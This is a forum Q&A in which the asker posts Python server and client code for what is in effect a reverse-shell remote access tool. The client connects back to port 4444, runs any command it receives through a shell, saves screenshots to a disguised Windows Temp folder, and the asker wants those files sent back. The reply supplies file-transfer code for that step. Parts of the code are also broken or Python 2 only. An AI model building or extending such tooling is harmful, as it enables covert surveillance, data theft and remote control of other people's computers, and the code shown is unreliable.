How would I take a screenshot on a remote Windows machine and send it back?

user_10813164 0
Viewed 773

I'm trying to take a screenshot on a remote Windows machine. For example, when you input the command "screenshot" on the server, it takes a screenshot on the client machine, saves it to a directory, and sends it back to the server. I already figured out the first part, but can't figure out how to send the saved file back.

Server:

import socket
import sys
import subprocess

host = '192.168.1.25'
port = 4444
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.bind((host, port))
s.listen(1)

conn, addr = s.accept()
sendCommands(conn)

def sendCommands(conn):
    cmd = input('console > ')

    if len(str.encode(cmd)) > 0:
        conn.send(str.encode(cmd))
        clientResponse = str(conn.recv(1024), "utf-8")
        print('\n' + clientResponse, end="")

Client:

import os
import sys
import subprocess
import socket
import autopy

def socketCreate():
    global host
    global port
    global s
    host = '192.168.1.25'
    port = 4444
    s = socket.socket()

def socketConnect():
    global host
    global port
    global s
    s.connect((host, port))

def recieveCommands():
    global s
    while True:
        data = s.recv(1024)
        if data[:].decode("utf-8") == 'screenshot':
            path = r'C:\Windows\Temp\LocalCustom\ssh\new\custom'
            screenshot = r'\screenshot.png'
            if not os.path.exists(path):
                os.makedirs(path)
            try:
                bitmap = autopy.bitmap.capture_screen()
                bitmap.save(path + screenshot)
                tookScreenShot = ('\n' + '[*] Succesfuly took screenshot at ' + path + '\n')
                s.send(str.encode(tookScreenShot))
            except:
                screenshotFailed = ('\n' + "[!] Couldn't take screenshot " + '\n')
                str(screenshotFailed)
                s.send(str.encode(screenshotFailed))
        else:
            if len(data) > 0:
                cmd = subprocess.Popen(data[:].decode('utf-8'), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
                output_bytes = cmd.stdout.read() + cmd.stderr.read()
                output_str = str(output_bytes, "utf-8")
                s.send(str.encode("utf-8"))
    s.close()

def main():
    socketCreate()
    socketConnect()
    recieveCommands()

main()
tcp sockets windows python
1 Answers

You should send the as following from the client

f = open('tosend.jpg','rb')
print 'Sending the file'
file = f.read(1024)
while (file):
    print 'Sending...'
    s.send(file)
    file = f.read(1024)
f.close()

print "Done Sending"
s.shutdown(socket.SHUT_WR)
print s.recv(1024)
s.close()

on server 

while True:
     file = open('C:/received.jpg','w')
     l = s.recv(1024)
     while l:
         print "Receiving..."
         file.write(l)
         l = s.recv(1024)
     file.close()
     print "Done Receiving"
     s.close()
user_102945190
Related